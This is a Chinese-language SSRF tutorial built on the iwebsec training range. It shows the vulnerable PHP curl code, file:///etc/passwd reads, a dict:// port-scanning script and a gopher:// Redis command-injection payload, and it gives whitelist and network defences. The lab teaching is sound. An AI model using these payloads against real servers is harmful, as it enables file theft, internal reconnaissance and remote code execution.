新手也能懂的SSRF漏洞实战:用iwebsec靶场复现文件读取与内网探测
从零开始掌握SSRF漏洞:iwebsec靶场实战指南
1. 认识SSRF漏洞的本质
想象一下,你正在一家高档餐厅点餐,服务员承诺可以帮你从任何地方获取食材——包括隔壁竞争对手的厨房。SSRF(Server-Side Request Forgery)漏洞就像这个过于"热心"的服务员,它允许攻击者诱使服务器向任意地址发起请求,从而突破网络边界限制。
SSRF的核心危害主要体现在三个方面:
- 敏感数据泄露:读取服务器本地文件(如
/etc/passwd) - 内网渗透跳板:探测或攻击内网服务(如Redis、MySQL)
- 请求伪造攻击:以服务器身份发起恶意请求
初学者常混淆SSRF与CSRF的区别。简单来说:
- CSRF是利用用户身份执行非预期操作
- SSRF是利用服务器权限发起非预期请求
提示:现代云环境中,SSRF可能导致更严重的后果,如获取云服务元数据(AWS的169.254.169.254)
2. 搭建iwebsec靶场实验环境
2.1 靶场部署与配置
iwebsec是一个专为Web安全学习设计的漏洞演练平台,内置多种漏洞场景。以下是本地部署步骤:
# 下载并启动Docker容器 docker pull iwebsec/iwebsec docker run -d -p 80:80 --name iwebsec iwebsec/iwebsec访问http://localhost即可看到如下模块:
| 漏洞类型 | 路径 | 难度等级 |
|---|---|---|
| SSRF基础 | /vuln/ssrf/ssrf1 | ★★☆☆☆ |
| SSRF进阶 | /vuln/ssrf/ssrf2 | ★★★☆☆ |
| SSRF协议利用 | /vuln/ssrf/ssrf3 | ★★★★☆ |
2.2 必要工具准备
建议安装以下浏览器插件辅助测试:
- HackBar:快速构造和发送Payload
- Postman:复杂请求测试
- cURL(命令行版):协议调试
3. 基础文件读取实战
3.1 发现SSRF注入点
访问http://localhost/vuln/ssrf/ssrf1.php可见如下页面代码片段:
<?php if (isset($_GET['url'])) { $link = $_GET['url']; $curlobj = curl_init($link); //...省略其他curl配置... echo curl_exec($curlobj); } ?>这个简单的文件下载功能就是典型的SSRF漏洞场景——未对用户输入的URL进行任何过滤。
3.2 利用file协议读取系统文件
尝试在URL参数中使用不同协议:
读取Web目录文件(HTTP协议)
/vuln/ssrf/ssrf1.php?url=http://127.0.0.1/robots.txt读取系统敏感文件(FILE协议)
/vuln/ssrf/ssrf1.php?url=file:///etc/passwd
关键原理:当服务端使用curl_exec或file_get_contents等函数时,如果未限制协议类型,攻击者可以通过构造特殊URL访问本地文件系统。
4. 内网探测与端口扫描
4.1 使用dict协议探测服务
dict协议设计用于字典查询,但可被利用来检查端口开放状态:
/vuln/ssrf/ssrf1.php?url=dict://127.0.0.1:3306典型响应分析:
- 端口开放:返回服务标识(如MySQL的版本信息)
- 端口关闭:连接超时或拒绝
4.2 自动化探测脚本
虽然靶场环境简单,但真实场景中可以使用Python脚本自动化检测:
import requests ports = [21, 22, 80, 3306, 6379] for port in ports: try: r = requests.get( f"http://target/vuln/ssrf.php?url=dict://127.0.0.1:{port}", timeout=3 ) print(f"[+] Port {port} open - {r.text[:50]}") except: print(f"[-] Port {port} closed")5. 防御方案与最佳实践
5.1 输入过滤策略
建议采用白名单机制限制允许的协议和域名:
$allowed_hosts = ['example.com', 'cdn.example.net']; $parsed = parse_url($_GET['url']); if (!in_array($parsed['host'], $allowed_hosts)) { die('Invalid host'); } if (!in_array($parsed['scheme'], ['http', 'https'])) { die('Protocol not allowed'); }5.2 网络层防护
| 防护措施 | 实施方法 | 效果评估 |
|---|---|---|
| 出站流量限制 | 防火墙规则限制服务器出站连接 | ★★★★☆ |
| 网络隔离 | 内网服务设置独立VPC | ★★★★☆ |
| 请求目标验证 | 解析DNS记录比对IP范围 | ★★★☆☆ |
6. 漏洞利用的进阶思考
在实际渗透测试中,SSRF常与其他漏洞形成组合攻击:
- 云环境利用:通过SSRF获取IAM角色临时凭证
- 协议转换攻击:利用302跳转绕过协议限制
- CRLF注入:在请求中插入恶意头信息
一个有趣的案例是,某次测试中发现通过gopher://协议可以构造Redis命令,最终实现了无需认证的RCE:
/vuln/ssrf.php?url=gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$10%0d%0aevilcode%0d%0a这种攻击手法的关键在于精确控制协议payload的URL编码格式。建议在测试环境中多尝试不同协议的组合使用,你会惊讶于SSRF的灵活性。
